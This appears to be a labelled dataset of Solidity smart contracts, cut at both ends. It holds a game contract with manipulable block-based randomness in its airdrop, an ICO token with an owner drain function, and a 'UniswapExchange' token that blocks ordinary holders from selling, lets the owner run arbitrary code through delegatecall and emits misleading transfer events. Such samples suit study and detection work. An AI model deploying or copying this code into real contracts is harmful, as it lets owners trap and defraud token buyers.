_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(TeamUnicorn).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xcD0fce8d255349092496F131f2900DF25f0569F8),
"only owner can activate"
);
require(activated_ == false, "LastUnicorn already activated");
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface UnicornInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface UnicornBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 1 | 4,206 |
pragma solidity ^ 0.4 .8;
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns(uint256);
function allowance(address owner, address spender) constant returns(uint);
function transferFrom(address from, address to, uint value) returns(bool ok);
function approve(address spender, uint value) returns(bool ok);
function transfer(address to, uint value) returns(bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract blockoptions is ERC20
{
string public name = "blockoptions";
string public symbol = "BOPT";
uint8 public decimals = 8;
uint public totalSupply=20000000 * 100000000;
uint pre_ico_start;
uint pre_ico_end;
uint ico_start;
uint ico_end;
mapping(uint => address) investor;
mapping(uint => uint) weireceived;
mapping(uint => uint) optsSent;
event preico(uint counter,address investor,uint weireceived,uint optsSent);
event ico(uint counter,address investor,uint weireceived,uint optsSent);
uint counter=0;
uint profit_sent=0;
bool stopped = false;
function blockoptions(){
owner = msg.sender;
balances[owner] = totalSupply ;
pre_ico_start = now;
pre_ico_end = pre_ico_start + 7 days;
}
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
address public owner;
modifier onlyOwner() {
if (msg.sender == owner)
_;
}
function transferOwnership(address newOwner) onlyOwner {
balances[newOwner] = balances[owner];
balances[owner]=0;
owner = newOwner;
}
function Mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function Div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function Sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function Add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
function transfer(address _to, uint _value) returns (bool){
uint check = balances[owner] - _value;
if(msg.sender == owner && now>=pre_ico_start && now<=pre_ico_end && check < 1900000000000000)
{
return false;
}
else if(msg.sender ==owner && now>=pre_ico_end && now<=(pre_ico_end + 16 days) && check < 1850000000000000)
{
return false;
}
else if(msg.sender == owner && check < 150000000000000 && now < ico_start + 180 days)
{
return false;
}
else if (msg.sender == owner && check < 100000000000000 && now < ico_start + 360 days)
{
return false;
}
else if (msg.sender == owner && check < 50000000000000 && now < ico_start + 540 days)
{
return false;
}
else if (_value > 0) {
balances[msg.sender] = Sub(balances[msg.sender],_value);
balances[_to] = Add(balances[_to],_value);
Transfer(msg.sender, _to, _value);
return true;
}
else{
return false;
}
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (_value > 0) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = Add(balances[_to], _value);
balances[_from] = Sub(balances[_from], _value);
allowed[_from][msg.sender] = Sub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}else{
return false;
}
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function drain() onlyOwner {
owner.send(this.balance);
}
function() payable
{
if(!stopped)
revert();
else if(msg.sender == owner)
{
profit_sent = msg.value;
}
else if(now>=pre_ico_start && now<=pre_ico_end)
{
uint check = balances[owner]-((400*msg.value)/10000000000);
if(check >= 1900000000000000)
pre_ico(msg.sender,msg.value);
}
else if (now>=ico_start && now<ico_end)
{
main_ico(msg.sender,msg.value);
}
}
function pre_ico(address sender, uint value)payable
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (400*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
preico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
function main_ico(address sender, uint value)payable
{
if(now >= ico_start && now <= (ico_start + 7 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (250*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 7 days) && now <= (ico_start + 14 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (220*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
else if (now >= (ico_start + 14 days) && now <= (ico_start + 31 days))
{
counter = counter+1;
investor[counter]=sender;
weireceived[counter]=value;
optsSent[counter] = (200*value)/10000000000;
balances[owner]=balances[owner]-optsSent[counter];
balances[investor[counter]]+=optsSent[counter];
ico(counter,investor[counter],weireceived[counter],optsSent[counter]);
}
}
function startICO()onlyOwner
{
ico_start = now;
ico_end=ico_start + 31 days;
pre_ico_start = 0;
pre_ico_end = 0;
}
function endICO()onlyOwner
{
stopped=true;
if(balances[owner] > 2000000)
balances[owner] = 2000000;
}
struct distributionStruct
{
uint divident;
bool dividentStatus;
}
mapping(address => distributionStruct) dividentsMap;
mapping(uint => address)requestor;
event dividentSent(uint requestNumber,address to,uint divi);
uint requestCount=0;
function distribute()onlyOwner
{
for(uint i=1; i <= counter;i++)
{
dividentsMap[investor[i]].divident = (balanceOf(investor[i])*profit_sent)/(totalSupply*100000000);
dividentsMap[investor[i]].dividentStatus = true;
}
}
function requestDivident()payable
{
requestCount = requestCount + 1;
requestor[requestCount] = msg.sender;
if(dividentsMap[requestor[requestCount]].dividentStatus == true)
{
dividentSent(requestCount,requestor[requestCount],dividentsMap[requestor[requestCount]].divident);
requestor[requestCount].send(dividentsMap[requestor[requestCount]].divident);
dividentsMap[requestor[requestCount]].dividentStatus = false;
}
}
} | 0 | 2,158 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,169 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TransferProxy is Ownable {
using SafeERC20 for ERC20;
ERC20 public token;
address public delegate;
constructor() public {
owner = msg.sender;
token = ERC20(0xf8b358b3397a8ea5464f8cc753645d42e14b79EA);
}
function setDelegateWallet(address wallet) public {
require(msg.sender == owner);
require(wallet != 0x0);
delegate = wallet;
}
function transferToken(address sendTo, uint256 amount) public {
require(msg.sender == owner || msg.sender == delegate);
token.safeTransfer(sendTo, amount);
}
function done() public onlyOwner {
require(token.balanceOf(address(this)) == 0);
selfdestruct(owner);
}
} | 1 | 5,026 |
pragma solidity 0.7.4;
interface IArbitrable {
event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling);
function rule(uint256 _disputeID, uint256 _ruling) external;
}
interface IArbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable);
function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID);
function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost);
function appeal(uint256 _disputeID, bytes calldata _extraData) external payable;
function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost);
function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end);
function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status);
function currentRuling(uint256 _disputeID) external view returns (uint256 ruling);
}
interface IEvidence {
event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence);
event Evidence(
IArbitrator indexed _arbitrator,
uint256 indexed _evidenceGroupID,
address indexed _party,
string _evidence
);
event Dispute(
IArbitrator indexed _arbitrator,
uint256 indexed _disputeID,
uint256 _metaEvidenceID,
uint256 _evidenceGroupID
);
}
library CappedMath {
uint constant private UINT_MAX = 2**256 - 1;
function addCap(uint _a, uint _b) internal pure returns (uint) {
uint c = _a + _b;
return c >= _a ? c : UINT_MAX;
}
function subCap(uint _a, uint _b) internal pure returns (uint) {
if (_b > _a)
return 0;
else
return _a - _b;
}
function mulCap(uint _a, uint _b) internal pure returns (uint) {
if (_a == 0)
return 0;
uint c = _a * _b;
return c / _a == _b ? c : UINT_MAX;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Linguo is IArbitrable, IEvidence {
using CappedMath for uint256;
uint8 public constant VERSION_ID = 0;
uint256 public constant MULTIPLIER_DIVISOR = 10000;
uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2;
enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved}
enum Party {
None,
Translator,
Challenger
}
struct Task {
uint256 submissionTimeout;
uint256 minPrice;
uint256 maxPrice;
Status status;
uint256 lastInteraction;
address payable requester;
uint256 requesterDeposit;
uint256 sumDeposit;
address payable[3] parties;
uint256 disputeID;
Round[] rounds;
uint256 ruling;
}
struct Round {
uint256[3] paidFees;
bool[3] hasPaid;
uint256 feeRewards;
mapping(address => uint256[3]) contributions;
}
address public governor = msg.sender;
IArbitrator public immutable arbitrator;
bytes public arbitratorExtraData;
uint256 public reviewTimeout;
uint256 public translationMultiplier;
uint256 public challengeMultiplier;
uint256 public sharedStakeMultiplier;
uint256 public winnerStakeMultiplier;
uint256 public loserStakeMultiplier;
Task[] public tasks;
mapping(uint256 => uint256) public disputeIDtoTaskID;
event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp);
event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp);
event TranslationSubmitted(
uint256 indexed _taskID,
address indexed _translator,
string _translatedText,
uint256 _timestamp
);
event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp);
event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp);
event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount);
event HasPaidAppealFee(uint256 indexed _taskID, Party _party);
modifier onlyGovernor() {
require(msg.sender == governor, "Only governor is allowed to perform this.");
_;
}
constructor(
IArbitrator _arbitrator,
bytes memory _arbitratorExtraData,
uint256 _reviewTimeout,
uint256 _translationMultiplier,
uint256 _challengeMultiplier,
uint256 _sharedStakeMultiplier,
uint256 _winnerStakeMultiplier,
uint256 _loserStakeMultiplier
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
